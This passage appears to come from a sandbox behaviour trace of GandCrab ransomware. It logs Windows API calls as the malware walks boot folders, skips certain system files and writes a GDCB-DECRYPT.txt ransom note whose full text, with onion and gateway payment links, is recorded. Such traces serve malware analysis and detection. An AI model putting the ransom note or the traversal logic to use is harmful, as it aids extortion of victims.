lpString1="C:\\Boot\\Fonts\\cht_boot.ttf") returned="C:\\Boot\\Fonts\\cht_boot.ttf" [0052.629] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.629] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0052.629] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0052.629] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.629] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.629] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.629] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.630] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt" [0052.630] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.630] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned 30 [0052.630] lstrlenW (lpString="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned 30 [0052.630] lstrlenW (lpString="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned 30 [0052.630] lstrlenW (lpString="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned 30 [0052.630] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.630] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.630] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.630] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.630] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.630] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.630] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.630] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.630] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.630] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.630] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.630] lstrcmpW (lpString1="jpn_boot.ttf", lpString2=".") returned 1 [0052.630] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="..") returned 1 [0052.630] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="jpn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\jpn_boot.ttf") returned="C:\\Boot\\Fonts\\jpn_boot.ttf" [0052.630] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.631] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0052.631] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0052.631] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.631] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.631] lstrcmpW (lpString1="kor_boot.ttf", lpString2=".") returned 1 [0052.631] lstrcmpW (lpString1="kor_boot.ttf", lpString2="..") returned 1 [0052.631] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="kor_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\kor_boot.ttf") returned="C:\\Boot\\Fonts\\kor_boot.ttf" [0052.631] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.631] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0052.632] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0052.632] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.632] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.632] lstrcmpW (lpString1="malgunn_boot.ttf", lpString2=".") returned 1 [0052.632] lstrcmpW (lpString1="malgunn_boot.ttf", lpString2="..") returned 1 [0052.632] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="malgunn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned="C:\\Boot\\Fonts\\malgunn_boot.ttf" [0052.632] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.632] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0052.632] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0052.632] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.632] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.632] lstrcmpW (lpString1="malgun_boot.ttf", lpString2=".") returned 1 [0052.632] lstrcmpW (lpString1="malgun_boot.ttf", lpString2="..") returned 1 [0052.632] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="malgun_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\malgun_boot.ttf") returned="C:\\Boot\\Fonts\\malgun_boot.ttf" [0052.633] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.634] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0052.634] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0052.634] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.635] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.635] lstrcmpW (lpString1="meiryon_boot.ttf", lpString2=".") returned 1 [0052.635] lstrcmpW (lpString1="meiryon_boot.ttf", lpString2="..") returned 1 [0052.635] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="meiryon_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned="C:\\Boot\\Fonts\\meiryon_boot.ttf" [0052.635] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.635] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0052.635] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0052.635] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.635] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.635] lstrcmpW (lpString1="meiryo_boot.ttf", lpString2=".") returned 1 [0052.635] lstrcmpW (lpString1="meiryo_boot.ttf", lpString2="..") returned 1 [0052.635] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="meiryo_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned="C:\\Boot\\Fonts\\meiryo_boot.ttf" [0052.636] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.636] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0052.636] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0052.636] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.636] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.636] lstrcmpW (lpString1="msjhn_boot.ttf", lpString2=".") returned 1 [0052.636] lstrcmpW (lpString1="msjhn_boot.ttf", lpString2="..") returned 1 [0052.636] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msjhn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned="C:\\Boot\\Fonts\\msjhn_boot.ttf" [0052.636] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.637] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0052.637] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0052.637] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.637] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.637] lstrcmpW (lpString1="msjh_boot.ttf", lpString2=".") returned 1 [0052.637] lstrcmpW (lpString1="msjh_boot.ttf", lpString2="..") returned 1 [0052.637] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msjh_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msjh_boot.ttf") returned="C:\\Boot\\Fonts\\msjh_boot.ttf" [0052.637] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.637] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0052.637] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0052.637] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.638] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.638] lstrcmpW (lpString1="msyhn_boot.ttf", lpString2=".") returned 1 [0052.638] lstrcmpW (lpString1="msyhn_boot.ttf", lpString2="..") returned 1 [0052.638] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msyhn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned="C:\\Boot\\Fonts\\msyhn_boot.ttf" [0052.638] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.638] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0052.638] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0052.638] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.638] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.638] lstrcmpW (lpString1="msyh_boot.ttf", lpString2=".") returned 1 [0052.638] lstrcmpW (lpString1="msyh_boot.ttf", lpString2="..") returned 1 [0052.638] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msyh_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msyh_boot.ttf") returned="C:\\Boot\\Fonts\\msyh_boot.ttf" [0052.638] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.639] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0052.639] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0052.639] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.639] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.639] lstrcmpW (lpString1="segmono_boot.ttf", lpString2=".") returned 1 [0052.639] lstrcmpW (lpString1="segmono_boot.ttf", lpString2="..") returned 1 [0052.639] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segmono_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segmono_boot.ttf") returned="C:\\Boot\\Fonts\\segmono_boot.ttf" [0052.639] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.640] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0052.640] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0052.640] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.640] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.640] lstrcmpW (lpString1="segoen_slboot.ttf", lpString2=".") returned 1 [0052.640] lstrcmpW (lpString1="segoen_slboot.ttf", lpString2="..") returned 1 [0052.640] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segoen_slboot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned="C:\\Boot\\Fonts\\segoen_slboot.ttf" [0052.640] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.640] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0052.640] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0052.640] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.640] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.640] lstrcmpW (lpString1="segoe_slboot.ttf", lpString2=".") returned 1 [0052.640] lstrcmpW (lpString1="segoe_slboot.ttf", lpString2="..") returned 1 [0052.640] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segoe_slboot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned="C:\\Boot\\Fonts\\segoe_slboot.ttf" [0052.641] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.641] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0052.641] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0052.641] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.641] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.641] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2=".") returned 1 [0052.641] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="..") returned 1 [0052.641] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="wgl4_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned="C:\\Boot\\Fonts\\wgl4_boot.ttf" [0052.641] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.642] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0052.642] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0052.642] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.642] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.642] FindClose (in: hFindFile=0x588b20 | out: hFindFile=0x588b20) returned 1 [0052.642] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.642] lstrcmpW (lpString1="fr-CA", lpString2=".") returned 1 [0052.642] lstrcmpW (lpString1="fr-CA", lpString2="..") returned 1 [0052.642] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fr-CA" | out: lpString1="C:\\Boot\\fr-CA") returned="C:\\Boot\\fr-CA" [0052.642] lstrcatW (in: lpString1="C:\\Boot\\fr-CA", lpString2="\\" | out: lpString1="C:\\Boot\\fr-CA\\") returned="C:\\Boot\\fr-CA\\" [0052.642] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.643] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.643] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.643] lstrlenW (lpString="C:\\Boot\\fr-CA\\") returned 14 [0052.643] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="*" | out: lpString1="C:\\Boot\\fr-CA\\*") returned="C:\\Boot\\fr-CA\\*" [0052.643] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588de0 [0052.643] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.643] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.643] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.643] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.643] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.643] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.643] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.643] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned="C:\\Boot\\fr-CA\\bootmgr.exe.mui" [0052.643] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0052.643] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.643] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.643] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.643] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.643] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\fr-CA\\\\GDCB-DECRYPT.txt") returned 31 [0052.644] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\fr-ca\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.644] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.644] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.644] CloseHandle (hObject=0x4e0) returned 1 [0052.645] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.645] lstrlenW (lpString="C:\\Boot\\fr-CA\\") returned 14 [0052.645] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="*" | out: lpString1="C:\\Boot\\fr-CA\\*") returned="C:\\Boot\\fr-CA\\*" [0052.645] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.645] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.645] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.645] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.645] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.645] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.645] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.645] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.645] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned="C:\\Boot\\fr-CA\\bootmgr.exe.mui" [0052.645] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.645] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0052.645] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0052.645] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.646] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.646] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.646] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.646] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt" [0052.646] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.646] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned 30 [0052.646] lstrlenW (lpString="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned 30 [0052.646] lstrlenW (lpString="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned 30 [0052.646] lstrlenW (lpString="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned 30 [0052.646] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.646] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.646] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.646] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.646] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.646] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.646] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.646] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.646] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.646] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.646] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.647] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.647] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.647] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0052.647] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0052.647] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fr-FR" | out: lpString1="C:\\Boot\\fr-FR") returned="C:\\Boot\\fr-FR" [0052.647] lstrcatW (in: lpString1="C:\\Boot\\fr-FR", lpString2="\\" | out: lpString1="C:\\Boot\\fr-FR\\") returned="C:\\Boot\\fr-FR\\" [0052.647] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.647] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.647] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.647] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.647] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.647] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.647] lstrlenW (lpString="C:\\Boot\\fr-FR\\") returned 14 [0052.647] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="*" | out: lpString1="C:\\Boot\\fr-FR\\*") returned="C:\\Boot\\fr-FR\\*" [0052.647] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588de0 [0052.659] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.659] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.659] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.659] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.659] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.659] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.659] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.659] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="C:\\Boot\\fr-FR\\bootmgr.exe.mui" [0052.659] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0052.659] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.659] FindNextFileW 